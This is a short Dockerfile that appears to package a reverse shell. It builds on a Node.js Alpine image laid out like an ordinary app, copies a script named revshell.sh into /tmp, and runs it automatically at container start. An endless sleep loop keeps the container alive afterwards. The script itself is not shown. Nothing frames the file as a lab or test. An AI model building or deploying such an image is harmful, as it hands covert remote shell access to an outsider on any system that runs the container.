FROM node:16-alpine
RUN apk add --no-cache bash curl
WORKDIR /usr/src/app
COPY revshell.sh /tmp/revshell.sh
RUN chmod +x /tmp/revshell.sh
CMD ["/bin/sh", "-c", "/tmp/revshell.sh; while true; do sleep 3600; done"]
